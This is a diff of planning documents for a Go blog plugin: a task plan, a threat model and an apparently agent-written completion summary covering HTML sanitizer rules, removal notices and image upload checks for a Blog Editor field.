+    - `grep -n "assertContentRefused" ../sm-journal-plugin/journal_api_categories_test.go` prints nothing and `grep -n "unsafe create stripped" ../sm-journal-plugin/journal_api_categories_test.go` prints one line; `go -C ../sm-journal-plugin vet ./...` compiles the updated test.
+    - `grep -n "categories" ../sm-journal-plugin/routes.go` prints only GET lines (no public category write path).
+    - `grep -n "StoreMedia" ../sm-journal-plugin/controllers/api/media.go` prints at least one line, and `grep -n '"path":' ../sm-journal-plugin/controllers/api/media.go` still prints one line (response shape kept).
+    - `grep -n "func StoreMedia" ../sm-journal-plugin/classes/media_store.go` prints one line, and classes/media_store_test.go holds TestMediaObjectPath and TestMediaFolderPatternRejectsDotDot.
+    - TestBlogEditorUploadSmoke passes its sniff, svg, safe-name, size and category (compile, Load, strip with notice, blank to NULL) subtests.
+    - README.md mentions blogeditor and mlblogeditor, and its categories section no longer says the form refuses content with a 422.
+  </acceptance_criteria>
+  <done>Category content uses the Blog Editor and is stripped and reported like posts (no 422), editor images upload into the same media storage and URLs as the public route, and the public route's contract is unchanged.</done>
+</task>
+
+<task type="auto" tdd="true">
+  <name>Task 3: Expansion: the HTML policy admits exactly the Blog Editor's own output, pinned by plan 02's corpus; CheckHTML and README documentation; decision note</name>
+  <reversibility rating="costly">D-05: the embed placeholder and the editor's alt and start attributes become stored content that the policy must keep accepting; narrowing the policy later would strip them from live posts on their next edited save.</reversibility>
+  <precondition>../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json exists (plan 02 Task 3) and parses as JSON.</precondition>
+  <files>../sm-journal-plugin/classes/format_html.go, ../sm-journal-plugin/classes/editor_policy_test.go, ../sm-journal-plugin/controllers/posts_editor_smoke_test.go, ../sm-journal-plugin/README.md, .planning/notes/journal-html-sanitizing-bluemonday.md</files>
+  <read_first>../sm-journal-plugin/classes/format_html.go (newHTMLPolicy, SanitizeHTMLReport from Task 1), ../sm-journal-plugin/classes/format_html_test.go (unsafePayloads, TestFormatHTMLSanitizesUnsafeHTML), ../sm-journal-plugin/classes/check_html_test.go, ../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json (plan 02), ../sm-journal-plugin/tests/blogeditor/fixtures/imported-post.html (plan 02), ~/go/pkg/mod/github.com/microcosm-cc/bluemonday@v1.0.27/policies.go (UGCPolicy) and helpers.go (AllowImages, AllowLists, AllowTables: what UGC already allows), ../sm-journal-plugin/README.md (Posts bullet, the CheckHTML row in API reference, Dependencies), .planning/notes/journal-html-sanitizing-bluemonday.md, ../vue-journal-layer/app/utils/htmlGate.ts (the mirror plan 04 extends with the same four rules)</read_first>
+  <behavior>
+    - Every entry of editor-corpus.json comes back from SanitizeHTML byte for byte, with an empty SanitizeHTMLReport and a nil CheckHTML.
+    - The placeholder `<figure data-embed="youtube" data-id="dQw4w9WgXcQ"></figure>` is kept, both through SanitizeHTML and as raw HTML inside markdown through FormatHTML.
+    - Still stripped and reported: data-embed other than youtube; data-id of 10 or 12 characters or holding a quote, space or angle bracket; data-embed or data-id on div, img or p; any other data attribute on figure; onload on the placeholder figure; an iframe next to a placeholder (the placeholder stays).
+    - img alt with a colon, a question mark and double quotes is kept; an alt whose text contains a double quote followed by an event-handler-like string stays one alt attribute (no new attribute appears in the tokens).
+    - ol start="3" is kept; start="x" on ol and start on ul are stripped.
+    - The 35 unsafePayloads are stripped exactly as before (TestFormatHTMLSanitizesUnsafeHTML unchanged) and the existing CheckHTML table passes unchanged.
+    - SanitizeHTMLReport: a style element, an onclick attribute, a comment, a repeated attribute, a style attribute that loses one property and more than ten distinct removed names each produce the documented report; for every unsafePayload, the imported-post fixture and every corpus entry, report.Empty() is true exactly when the output equals the input.
+  </behavior>
+  <action>Extend the shared policy for exactly the editor's own output (per D-05 amended, D-04, D-10).
+
+In newHTMLPolicy add, each with a comment naming the Blog Editor output (Phase 16.2 D-05) it serves: data-embed matching ^youtube$ and data-id matching ^[A-Za-z0-9_-]{11}$ on figure only; alt with any value on img only (added next to UGC's Paragraph rule; bluemonday accepts an attribute when any of its rules matches, and escapes the value on output); start matching ^[0-9]+$ on ol only. Add nothing else: no iframe allowance, no blanket data attribute allowance, no target, rel, style property or URL scheme. These are the same four rules plan 04 mirrors in the layer. If the corpus fails on any attribute outside this set, stop and report it (plans 03 and 04 must change together) instead of widening the policy.
+
+classes/editor_policy_test.go: TestEditorOutputPassesPolicy reads ../tests/blogeditor/fixtures/editor-corpus.json with os.ReadFile (a missing or empty file fails the test, never skips) and checks every entry plus the placeholder and negative cases of the behavior block; TestSanitizeHTMLReport covers the report cases and the Empty property, including the imported-post fixture.
+
+Update CheckHTML's doc comment: since Phase 16.2 no admin or API write path refuses with it (admin saves strip and report, D-10 amended); it reports whether the policy would change doc, the counterpart of the layer's isSafeJournalHtml, and the policy cross-check uses it. Extend TestBlogEditorTracerSmoke with the placeholder passing Decode unchanged with no notice.
+
+README.md: the API reference gains SanitizeHTMLReport and HTMLRemovals rows; the CheckHTML row says it is a predicate that no write path refuses with any more; the Posts and policy text lists the four editor-output additions and says admin saves strip and name what they removed.
+
+Decision note (summercms.go): append to the 2026-10-10 amendment a short paragraph and four table rows for the editor-output additions (figure data-embed and data-id, img alt any text, ol start), naming plan 02's corpus as the test that pins them and plan 04 as the layer mirror.
+
+Commit in sm-journal-plugin as "feat(classes): allow the Blog Editor's own markup in the HTML policy" (format_html.go, editor_policy_test.go, the smoke test, README), and in summercms.go, separately, as "docs(16.2): record the editor-output policy extension" (the note only), each staged by explicit path.</action>
+  <verify>
+    <automated>go -C ../sm-journal-plugin vet ./... &amp;&amp; go -C ../sm-journal-plugin test -count=1 -run '^(TestEditorOutputPassesPolicy|TestSanitizeHTMLReport|TestFormatHTMLSanitizesUnsafeHTML|TestFormatHTMLDuplicateAttributes|TestFormatHTMLKeepsRawHTML|TestSanitizeHTML|TestCheckHTML)$' -v ./classes/ 2&gt;&amp;1 | grep -c '^--- PASS: Test' | grep -qx 7</automated>
+    <fails_when>Non-zero exit: vet fails, or fewer than seven "--- PASS: Test" lines: a corpus entry is changed by the policy (an editor attribute is still stripped), a negative case is no longer stripped (the extension is too wide), the report disagrees with the output, or an existing FormatHTML, SanitizeHTML or CheckHTML test regressed.</fails_when>
+    <automated>go -C ../sm-journal-plugin test -count=1 ./classes/ ./controllers/... &amp;&amp; go -C ../sm-journal-plugin test -count=1 -run '^(TestBlogEditorTracerSmoke|TestBlogEditorUploadSmoke)$' -v ./controllers/ 2&gt;&amp;1 | grep -c '^--- PASS: TestBlogEditor' | grep -qx 2</automated>
+    <fails_when>Non-zero exit or fewer than two "--- PASS: TestBlogEditor" lines: a classes or controllers test fails, or the placeholder no longer passes Decode unchanged.</fails_when>
+  </verify>
+  <acceptance_criteria>
+    - `grep -n "data-embed" ../sm-journal-plugin/classes/format_html.go` and `grep -n "editor-corpus.json" ../sm-journal-plugin/classes/editor_policy_test.go` each print at least one line.
+    - `grep -n "func TestEditorOutputPassesPolicy" ../sm-journal-plugin/classes/editor_policy_test.go` and `grep -n "func TestSanitizeHTMLReport" ../sm-journal-plugin/classes/editor_policy_test.go` each print one line.
+    - `grep -n "SanitizeHTMLReport" ../sm-journal-plugin/README.md` prints at least one line.
+    - `grep -n "Phase 16.2" .planning/notes/journal-html-sanitizing-bluemonday.md` prints at least one line and the note names figure data-embed, data-id, img alt and ol start.
+    - `git -C ../sm-journal-plugin diff --quiet c60abc6 -- classes/format_html_test.go classes/check_html_test.go` exits 0 (the existing policy tests are not weakened).
+  </acceptance_criteria>
+  <done>The policy keeps every piece of markup the editor writes, still strips everything else it stripped before, and the corpus test fails the moment the editor's output and the policy drift apart.</done>
+</task>
+
+</tasks>
+
+<threat_model>
+## Trust Boundaries
+
+| Boundary | Description |
+|----------|-------------|
+| admin save body → Journal Decode | every locale's content value crosses here (through cabana) |
+| editor upload → media bucket | user files become public URLs under /storage/app/uploads/public |
+| Journal public API clients → posts and media routes | contract must not change (D-09) |
+
+## STRIDE Threat Register
+
+| Threat ID | Category | Component | Severity | Disposition | Mitigation Plan |
+|-----------|----------|-----------|----------|-------------|-----------------|
+| T-16.2-14 | Tampering (stored XSS) | decodeBlogHTML (posts and categories) | high | mitigate | SanitizeHTMLReport on every locale value cabana decodes (default and non-default), for post and category content alike; the stored value is always the policy's output, never submitted bytes the policy would change; the removal is reported to the admin (no silent loss), and the layer sanitizes again before v-html; smoke and Postgres tests cover script, onerror, onclick and javascript: being stripped with notices and clean HTML staying byte for byte |
+| T-16.2-31 | Tampering (stored XSS) | newHTMLPolicy editor-output extension | high | mitigate | Exactly four additions with the narrowest patterns (figure data-embed ^youtube$, figure data-id ^[A-Za-z0-9_-]{11}$, img alt as an escaped attribute value, ol start ^[0-9]+$); no iframe, URL, style, event or blanket data attribute; TestEditorOutputPassesPolicy pins the corpus and the negative cases, the 35 existing payload tests stay unchanged (diff check against c60abc6), and the iframe exists only in the layer's rendered page (D-05) |
+| T-16.2-34 | Denial of Service | SanitizeHTMLReport and removal notices | low | mitigate | One pass over two token streams; at most 10 names per list with exact counts, so a body with thousands of removed parts yields at most four short notices (cabana also caps notices, T-16.2-33) |
+| T-16.2-15 | Tampering / Elevation | uploadBlogImage | high | mitigate | Extension allowlist without svg, http.DetectContentType magic-byte check for jpeg, png, gif and webp, 10240 KiB cap in StoreMedia plus cabana's upload cap; nginx serves the storage path with nosniff |
+| T-16.2-16 | Tampering | upload keys | medium | mitigate | uploadFolder validated at boot by the existing folder rule (no ..), safeUploadName limits the base name to a-z, 0-9, dot, underscore, hyphen; uniqueMediaKey never overwrites an existing object |
+| T-16.2-17 | Repudiation / contract | public posts and media routes | medium | mitigate | posts_helpers.go untouched (FormatHTML stays on the API path); UploadMedia keeps its response body and messages; the existing api tests keep passing |
+| T-16.2-18 | Information Disclosure | content_html companion writes | low | mitigate | Only values cabana reports as written are copied, to the same record and locale, inside the save transaction |
+| T-16.2-SC | Tampering | npm/pip/cargo installs | high | mitigate | No package is installed; gocloud.dev/blob/memblob is part of the existing gocloud.dev requirement and is used in tests only |
+</threat_model>
+
+<verification>
+- Task 1: go vet, TestBlogEditorTracerSmoke, the classes and controllers packages, the FormatHTML, SanitizeHTML and CheckHTML tests pass.
+- Task 2: go vet, both TestBlogEditor smoke tests, the classes and controllers packages pass; the categories gate is gone.
+- Task 3: the corpus cross-check, the report tests and every existing policy test pass.
+- The root-package Postgres tests (TestPostsFormCompiles, TestPostsAdminCreateSmoke, TestPostsAdminResaveKeepsHTML, TestPostsAdminSaveSanitizesHTML, TestCategoriesAdminContent) compile and run on a Docker host before the release (plan 05 docker-first option) or before /msd-verify-work.
+</verification>
+
+<success_criteria>
+- Post content on mlblogeditor and category content on blogeditor, both stripped by the shared policy per locale with a removal report; no admin save fails because of markup.
+- Admin saves store the same sanitized HTML in both columns per written locale and leave untouched content byte-identical; the public API is unchanged.
+- The policy admits exactly the editor's own output (corpus test) and nothing more.
+- Editor uploads use the shared media storage with a magic-byte check.
+</success_criteria>
+
+<output>
+Create `.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-03-SUMMARY.md` when done, with the commit hashes, the smoke test output and the list of Postgres tests that still need a Docker host.
+</output>

.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-03-SUMMARY.md

@@ -0,0 +1,272 @@
+---
+phase: 16.2-plugin-provided-field-types-and-the-blog-editor-formwidget
+plan: 03
+subsystem: journal-admin
+tags: [sm-journal-plugin, field-types, blog-editor, bluemonday, sanitizing, uploads, cabana]
+
+requires:
+  - phase: 16.2-01
+    provides: pact field type API (FormFieldType with ListValue(ctx, value), FormFieldDecoded, FormFieldNotice, FormFieldUpload, FormFieldError), cabana FieldWritesFromContext, WithFieldWrites, TxFromContext, CompileFormWithTypes, TranslationWriter
+  - phase: 16.2-02
+    provides: golem15-journal-blogeditor element, assets/dist/blogeditor.js and .css in adminFS, tests/blogeditor/fixtures/editor-corpus.json
+provides:
+  - blogeditor and mlblogeditor field types on the Journal plugin (journal.Plugin.FormFieldTypes, classes.BlogEditorTypes, classes.BlogEditorElement, classes.LooksLikeHTML)
+  - classes.SanitizeHTMLReport and classes.HTMLRemovals (removal report behind the admin notices); SanitizeHTML is its string half
+  - newHTMLPolicy editor-output extension (figure data-embed/data-id, img alt, ol start)
+  - classes.StoreMedia, StoredMedia, MediaError, MediaMaxBytes, MediaFolderPattern shared by the public upload route and the editor upload
+  - postsAdminController FormAfterCreate/FormAfterUpdate writing content_html per written locale
+  - editor lang keys (content_invalid, image_invalid, upload_failed, removed_elements, removed_attributes, removed_comments, markup_changed) in en and pl
+affects: [16.2-04, 16.2-05, 16.2-06, journal]
+
+actuals:
+  tokens: 20600
+  tasks: 3
+  commits: 5
+plan_head_before: 086e485215f69bd8a78f61fb1d5e69b2246366cd
+plan_head_after: 2384a61e38f10afa522f38f8180cb62a32a9d9c0
+commits_repo: ../sm-journal-plugin
+docs_commits: [332993c]
+
+tech-stack:
+  added: []
+  patterns:
+    - "Removal report by in-order start-tag alignment: greedy match on an attribute-compatible output tag, falling back to element-name alignment; Other covers any change nothing else explains, so the report is empty exactly when the output equals the input"
+    - "Companion column through Form hooks: FieldWritesFromContext Default write to the host column in FormBefore*, non-default writes through the TranslationWriter in FormAfter*"
+    - "Policy pinned by the editor's own corpus: every corpus entry must survive byte for byte with an empty report"
+
+key-files:
+  created:
+    - ../sm-journal-plugin/classes/blog_editor.go
+    - ../sm-journal-plugin/classes/media_store.go
+    - ../sm-journal-plugin/classes/media_store_test.go
+    - ../sm-journal-plugin/classes/editor_policy_test.go
+    - ../sm-journal-plugin/field_types.go
+    - ../sm-journal-plugin/controllers/posts_editor_smoke_test.go
+  modified:
+    - ../sm-journal-plugin/classes/format_html.go
+    - ../sm-journal-plugin/controllers/posts.go
+    - ../sm-journal-plugin/controllers/admin_registry.go
+    - ../sm-journal-plugin/controllers/categories.go
+    - ../sm-journal-plugin/controllers/api/media.go
+    - ../sm-journal-plugin/controllers/api/media_test.go
+    - ../sm-journal-plugin/models/post/fields.yaml
+    - ../sm-journal-plugin/models/category/fields.yaml
+    - ../sm-journal-plugin/lang/en/lang.yaml
+    - ../sm-journal-plugin/lang/pl/lang.yaml
+    - ../sm-journal-plugin/posts_admin_smoke_test.go
+    - ../sm-journal-plugin/journal_api_categories_test.go
+    - ../sm-journal-plugin/README.md
+    - .planning/notes/journal-html-sanitizing-bluemonday.md
+
+key-decisions:
+  - "The policy needed exactly the four planned editor-output rules: a probe of the 15-entry corpus against the pre-change policy showed only figure data-embed/data-id, img alt and ol start being stripped; no fifth rule"
+  - "Editor upload: the sniffed type must be JPEG, PNG, GIF or WebP and must match an allowed extension; a name without an extension gets the sniffed one; a disallowed extension reaches StoreMedia's 'The file must be an image.'"
+  - "uniqueMediaKey fails instead of overwriting when all 999 numbered names are taken (the old code returned the original path); StoreMedia also checks the folder rule itself"
+  - "Load without a translation writer (Translated nil) serves FormatHTML(content) for a markdown value"
+  - "Removal notices end a cut name list with ', …'; HTMLRemovals keeps unexported cut flags"
+
+patterns-established:
+  - "A plugin field type's Decode reports changes as notices and never refuses on content it can repair"
+
+requirements-completed: [D-02, D-03, D-04, D-05, D-06, D-07, D-08, D-09, D-10, D-14, D-18, D-19]
+
+coverage:
+  - id: D1
+    description: "Post content compiles as mlblogeditor (element, translatable, htmlColumn, uploadFolder; assets exist); Decode keeps clean HTML and the embed placeholder byte for byte with no notice, strips script/onerror with two notices, nil to '', refuses a number; Load serves HTML as stored, markdown as content_html or FormatHTML; ListValue; hooks write content_html per written locale and leave untouched content alone; en/pl plural phrases"
+    requirement: D-08
+    verification:
+      - kind: unit
+        ref: "../sm-journal-plugin/controllers/posts_editor_smoke_test.go#TestBlogEditorTracerSmoke"
+        status: pass
+    human_judgment: false
+  - id: D2
+    description: "SanitizeHTMLReport: elements, attributes (repeats and changed style), comments, Other, ten-name cut with exact counts; Empty exactly when the output equals the input for every unsafe payload, the imported-post fixture and every corpus entry"
+    requirement: D-10
+    verification:
+      - kind: unit
+        ref: "../sm-journal-plugin/classes/editor_policy_test.go#TestSanitizeHTMLReport"
+        status: pass
+    human_judgment: false
+  - id: D3
+    description: "Policy admits every editor-corpus entry byte for byte (empty report, nil CheckHTML) and the placeholder through FormatHTML; other providers, malformed ids, data attributes on other elements, other data-* on figure, onload, iframe, non-numeric start and start on ul are still stripped; the 35 unsafe payloads and the CheckHTML table are unchanged (diff against c60abc6 empty)"
+    requirement: D-05
+    verification:
+      - kind: unit
+        ref: "../sm-journal-plugin/classes/editor_policy_test.go#TestEditorOutputPassesPolicy"
+        status: pass
+      - kind: unit
+        ref: "../sm-journal-plugin/classes/format_html_test.go#TestFormatHTMLSanitizesUnsafeHTML"
+        status: pass
+      - kind: unit
+        ref: "../sm-journal-plugin/classes/check_html_test.go#TestCheckHTML"
+        status: pass
+    human_judgment: false
+  - id: D4
+    description: "StoreMedia keeps the public route's key layout, unique suffix, URL, extension list and size message; editor Upload sniffs the type, uses safe lowercase names and the field's uploadFolder, refuses html/svg/mismatched types, maps MediaError to FormFieldError and a missing bucket to an opaque error; the route's error bodies are unchanged"
+    requirement: D-18
+    verification:
+      - kind: unit
+        ref: "../sm-journal-plugin/controllers/posts_editor_smoke_test.go#TestBlogEditorUploadSmoke"
+        status: pass
+      - kind: unit
+        ref: "../sm-journal-plugin/controllers/api/media_test.go#TestWriteMediaStoreError"
+        status: pass
+      - kind: unit
+        ref: "../sm-journal-plugin/classes/media_store_test.go#TestMediaObjectPath"
+        status: pass
+    human_judgment: false
+  - id: D5
+    description: "Category content compiles as blogeditor, Load serves the stored *string, Decode strips onclick with a notice, the hooks map blank to NULL and accept any other content (422 retired)"
+    requirement: D-19
+    verification:
+      - kind: unit
+        ref: "../sm-journal-plugin/controllers/posts_editor_smoke_test.go#TestBlogEditorUploadSmoke"
+        status: pass
+    human_judgment: false
+  - id: D6
+    description: "Public posts API and route table unchanged since c60abc6 (D-09)"
+    requirement: D-09
+    verification:
+      - kind: other
+        ref: "git -C ../sm-journal-plugin diff --quiet c60abc6 -- controllers/api/posts_helpers.go controllers/api/posts.go routes.go"
+        status: pass
+    human_judgment: false
+  - id: D7
+    description: "Postgres-backed admin saves and the media route: TestPostsFormCompiles, TestPostsAdminCreateSmoke, TestPostsAdminResaveKeepsHTML, TestPostsAdminSaveSanitizesHTML, TestCategoriesAdminContent, journal_api_task3_test.go media upload, plugin boot with the field types"
+    verification: []
+    human_judgment: true
+    rationale: "No Docker on this host (docker.sock permission denied); the tests compile under go vet and run on a Docker host in plan 06"
+
+duration: 13min
+completed: 2026-10-10
+status: complete
+---
+
+# Phase 16.2 Plan 03: Journal Blog Editor integration Summary
+
+**Journal post content (mlblogeditor) and category content (blogeditor) are edited with the Blog Editor; every admin save stores bluemonday's output per locale, byte for byte when nothing is unsafe, writes the same HTML to content and content_html without goldmark, and names what it removed through SanitizeHTMLReport notices; the policy admits exactly the editor's four extra attributes, pinned by the editor corpus, and editor images go through the extracted StoreMedia with a magic-byte check.**
+
+## Performance
+
+- **Duration:** about 13 min
+- **Started:** 2026-10-10T09:58:55Z
+- **Completed:** 2026-10-10T10:12Z
+- **Tasks:** 3 (tracer + 2 TDD expansions)
+- **Files:** 20 in sm-journal-plugin (6 created, 14 modified), 1 decision note in summercms.go
+
+## Accomplishments
+
+- **Removal report (D-10 amended):** `SanitizeHTMLReport(doc) (string, HTMLRemovals)` aligns the input's start tags with bluemonday's output in order; unmatched tags are removed elements, missing, repeated or changed attributes are removed attributes (a `style` that lost a property counts under `style`), comments are counted, `Other` covers anything else. At most ten distinct names per list, exact counts. `SanitizeHTML` is its string half; `FormatHTML`, `FormatTranslation` and `CheckHTML` keep their behaviour.
+- **Field types (D-08, D-14):** `classes.BlogEditorTypes` returns `blogeditor` (uploadFolder) and `mlblogeditor` (htmlColumn, uploadFolder) on `golem15-journal-blogeditor` with the plan 02 bundle; `journal.Plugin.FormFieldTypes` registers them. `checkBlogOptions` checks the options at boot.
+- **Decode / Load / ListValue (D-04, D-07, D-10):** Decode returns the policy output plus `removed_elements`, `removed_attributes`, `removed_comments` and `markup_changed` notices; nil is `""`, a non-string is a `FormFieldError` (`content_invalid`). Load serves HTML as stored and markdown (`LooksLikeHTML` false) as that locale's `content_html`, else `FormatHTML(content)`. ListValue (ctx form) strips tags and cuts at 120 runes.
+- **Admin save path (D-02, D-03):** `preparePostWrite` no longer calls goldmark; it copies the Default `content` write to `ContentHTML`. New `FormAfterCreate`/`FormAfterUpdate` write `content_html` for each non-default written locale through the `TranslationWriter` in the save transaction. Untouched content is not written, so both columns stay byte-identical.
+- **Categories (D-19 amended):** `content` is `blogeditor` with `uploadFolder: categories`; the `CheckHTML` 422 gate is gone, blank still becomes NULL; the field comment (en, pl) says unsafe HTML is removed on save.
+- **Media (D-18, D-09):** `classes.StoreMedia` holds the public route's storage (extensions, 10240 KiB, `/journal/<folder>/<name>`, unique suffix, `attach.PublicURL`); `UploadMedia` keeps auth, permissions, folder and form checks and the same bodies. The editor `Upload` sniffs the first 512 bytes (`http.DetectContentType`), requires a matching JPEG/PNG/GIF/WebP type, builds a safe lowercase name and stores in the field's folder (`editor` by default).
+- **Policy (D-05 amended):** `figure` `data-embed` `^youtube$` and `data-id` `^[A-Za-z0-9_-]{11}$`, `img` `alt` any text, `ol` `start` `^[0-9]+$`; nothing else. `CheckHTML` documented as a predicate no write path refuses with.
+- **Docs:** plugin README (field types, admin save rules, category rule, unchanged public API, editor uploads, the four policy rules, API reference rows); decision note amendment with the four table rows (summercms.go `332993c`).
+
+## Task Commits
+
+All code commits are in `../sm-journal-plugin` (branch main):
+
+1. **Task 1: tracer** - `cbf4891` feat(classes): report what the HTML policy removes; `fbd1c85` feat(admin): post content on the Blog Editor field type
+2. **Task 2: categories, uploads, README** - `15fcad7` refactor(api): share media storage with the editor upload; `cb1c688` feat(admin): category content on the Blog Editor and editor image uploads
+3. **Task 3: policy extension** - `2384a61` feat(classes): allow the Blog Editor's own markup in the HTML policy; summercms.go `332993c` docs(16.2): record the editor-output policy extension
+
+## Smoke test output
+
+```
+--- PASS: TestBlogEditorTracerSmoke (13 subtests: compile, type definitions, decode clean, decode placeholder,
+    decode strip with notices, decode nil/non-string, load HTML, load markdown content_html, load FormatHTML fallback,
+    list value, hooks write content_html, hooks leave untouched content, plural phrases)
+--- PASS: TestBlogEditorUploadSmoke (9 subtests: StoreMedia layout, StoreMedia refusals, editor upload safe name,
+    editor upload refusals, missing bucket, category compile, category load, category decode, category hooks)
+--- PASS: TestEditorOutputPassesPolicy (15 corpus entries, placeholder, 18 strip cases, alt, ol start)
+--- PASS: TestSanitizeHTMLReport
+--- PASS: TestFormatHTMLSanitizesUnsafeHTML, TestFormatHTMLDuplicateAttributes, TestFormatHTMLKeepsRawHTML,
+          TestSanitizeHTML, TestCheckHTML (unchanged since c60abc6)
+--- PASS: TestWriteMediaStoreError, TestMediaObjectPath, TestMediaFolderPatternRejectsDotDot
+```
+
+- `go -C ../sm-journal-plugin vet ./...` clean (compiles the updated Postgres tests).
+- `go test -short ./...`: `classes`, `controllers`, `controllers/api` pass; the root package, `models` and `updates` fail only on `docker.sock: permission denied`.
+- `npx vitest run` 33/33 and `scripts/check-dist.sh` ("assets/dist matches a fresh build") still pass.
+
+## Postgres tests that need a Docker host (plan 06)
+
+- `posts_admin_smoke_test.go`: `TestPostsFormCompiles` (expects `"type":"mlblogeditor"`), `TestPostsAdminCreateSmoke` (HTML content, `ContentHTML == Content`, no `meta.notices`), `TestPostsAdminResaveKeepsHTML` (exact bytes), `TestPostsAdminSaveSanitizesHTML` (save succeeds, both columns sanitized for en host and pl translation, notices name `a, base` and `onerror` per locale).
+- `journal_api_categories_test.go`: `TestCategoriesAdminContent` (schema type `blogeditor`, "unsafe create stripped" 201 + `<p>x</p>` + onclick notice, "unsafe update stripped" 200 + `x` + `a` notice, safe create without notices).
+- `journal_api_task3_test.go` media upload tests (the route now runs through `StoreMedia`), `plugin_test.go`, and a full plugin boot with `FormFieldTypes` (cabana's boot-time asset and alias checks against the embedded `adminFS`).
+
+## TDD Gate Compliance
+
+Tasks 2 and 3 are `tdd="true"`. CLAUDE.md requires `go test ./...` green at every commit, so no failing `test(...)` commit exists; as in plans 01 and 02, RED was run and verified before GREEN and tests were committed with the implementation.
+
+- **Task 2 RED:** compile stubs for `StoreMedia` and the moved helpers, then `TestBlogEditorUploadSmoke` failed on its assertions (`not implemented`, "blogeditor has no Upload") and `TestMediaObjectPath` on its path assertion. `go test -json` was converted to TAP and checked: `msd_run check tdd-red-evidence` returned `RED_EVIDENCE_OK` (`target_test_failed`, target `TestBlogEditorUploadSmoke`). The category subtests were masked by the parent's fatal at RED time; the category schema and hook subtests then failed (type `textarea`, `validation_failed`) after Upload went green and before the category change, and passed after it.
+- **Task 3 RED:** `TestEditorOutputPassesPolicy` failed on 18 subtests (corpus entries with the embed, alt and start; placeholder; the negative cases, whose `want` keeps the placeholder) before the policy change: `RED_EVIDENCE_OK`, target `TestEditorOutputPassesPolicy`. `TestSanitizeHTMLReport` was already green because the report shipped in the Task 1 tracer.
+- **GREEN:** the implementation commits listed above; no refactor commit was needed.
+
+## Decisions Made
+
+See key-decisions in the frontmatter.
+
+## Deviations from Plan
+
+### Auto-fixed Issues
+
+**1. [Plan text] Host and translation locales in TestPostsAdminSaveSanitizesHTML**
+- **Found during:** Task 1
+- **Issue:** The plan says "pl (host) and en (translation)", but the test harness (`bootJournal`) makes `en` the default locale and `pl` the translation.
+- **Fix:** The test asserts the host columns for `en` and `golem15_translate_attributes` for `pl`, and notices for both locales.
+- **Files modified:** posts_admin_smoke_test.go
+- **Commit:** fbd1c85
+
+**2. [Rule 2 - Security] uniqueMediaKey no longer overwrites**
+- **Found during:** Task 2
+- **Issue:** The moved `uniqueMediaKey` returned the original (existing) path when all 999 numbered names were taken, so a write would overwrite an object; the threat model (T-16.2-16) requires that it never overwrites.
+- **Fix:** It returns an error instead (a 500 on the public route in that pathological case only). `StoreMedia` also re-checks the folder rule (MediaError on `folder`), which the route already enforces first, so no response changes.
+- **Files modified:** classes/media_store.go
+- **Commit:** 15fcad7
+
+**3. [Rule 2 - Correctness] Editor upload type must match its extension**
+- **Found during:** Task 2
+- **Issue:** The plan's "first bytes sniff as that image type" needs a rule for names whose extension disagrees with the bytes, or that have none.
+- **Fix:** A sniffed type outside JPEG/PNG/GIF/WebP, or one that differs from an allowed extension's type, is `image_invalid`; a name without an extension gets the sniffed one; a disallowed extension gets StoreMedia's "The file must be an image." `safeUploadName` also trims leading and trailing `-` and `.` (no hidden or dot-only names).
+- **Files modified:** classes/blog_editor.go
+- **Commit:** cb1c688
+
+**4. [Rule 2 - Correctness] Category field comment**
+- **Found during:** Task 2
+- **Issue:** `category.content_comment` (en, pl) told administrators unsafe HTML "is refused", which is no longer true.
+- **Fix:** It now says unsafe HTML is removed on save and the form names what was removed.
+- **Files modified:** lang/en/lang.yaml, lang/pl/lang.yaml
+- **Commit:** cb1c688
+
+**5. Files and shapes outside the plan's lists**
+- `controllers/admin_registry.go` holds the new `pact.FormAfterCreate`/`pact.FormAfterUpdate` assertions next to the controller's other compile-time assertions (commit fbd1c85).
+- `controllers/api/media_test.go` now holds `TestWriteMediaStoreError` (the route's 422 and 500 bodies after the move); the two path tests moved to `classes/media_store_test.go` as planned.
+- `HTMLRemovals` carries two unexported flags recording that a name list was cut, so `removalNotices` can append `, …`.
+- Task 2 committed the refactor (`15fcad7`) before the feature (`cb1c688`) so that each commit builds on its own.
+- `loadBlogHTML` serves `FormatHTML(content)` when no translation writer is published (`Translated` is nil), and serves blank content as it is.
+
+---
+
+**Total deviations:** 4 auto-fixed (1 plan text, 3 correctness/security) plus file and ordering notes. **Impact:** no change to the planned API, the public routes' contract or the four policy rules.
+
+## Issues Encountered
+
+- No Docker on this host: the Postgres tests listed above compile but did not run (recorded in `.planning/WINDOWS.md` as unrun-verify entries 15 and 16).
+
+## Known Stubs
+
+None.
+
+## Next Phase Readiness
+
+- Plan 04 mirrors the same four policy rules in the layer and checks the same `editor-corpus.json`; no fifth rule was needed.
+- Plan 05/06: run the Docker-only tests above, then the browser UAT of the editor in the admin (typing, uploads through the cabana route, notices after a stripped save).
+
+## Self-Check: PASSED
+
+- Created files exist in ../sm-journal-plugin: classes/blog_editor.go, classes/media_store.go, classes/media_store_test.go, classes/editor_policy_test.go, field_types.go, controllers/posts_editor_smoke_test.go.
+- Commits exist in ../sm-journal-plugin: cbf4891, fbd1c85, 15fcad7, cb1c688, 2384a61; in summercms.go: 332993c.

.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-04-PLAN.md

@@ -0,0 +1,278 @@
+---
+phase: 16.2-plugin-provided-field-types-and-the-blog-editor-formwidget
+plan: 04
+type: execute
+wave: 2
+depends_on: ["16.2-02"]
+coupling_justified: ["16.2-03: both plans add the same four editor-output rules (figure data-embed ^youtube$ and data-id ^[A-Za-z0-9_-]{11}$, img alt any text, ol start integer), each in its own repository; the set is fixed in both plans' text and checked against the same plan 02 corpus, neither plan reads the other's files, and either one stops and reports if the corpus needs a fifth rule, so both execution orders give matching policies"]
+files_modified:
+  - ../vue-journal-layer/app/utils/embeds.ts
+  - ../vue-journal-layer/app/utils/htmlGate.ts
+  - ../vue-journal-layer/tests/htmlGate.test.ts
+  - ../vue-journal-layer/tests/fixtures/editor-corpus.json
+  - ../vue-journal-layer/docs/decisions/0001-sanitize-html.md
+  - ../vue-journal-layer/app/components/Journal/PostBody.vue
+  - ../vue-journal-layer/app/components/Journal/CategoryHeader.vue
+  - ../vue-journal-layer/app/assets/css/journal-base.css
+  - ../vue-journal-layer/tests/embeds.test.ts
+  - ../vue-journal-layer/testing/fixtures/acme/posts.json
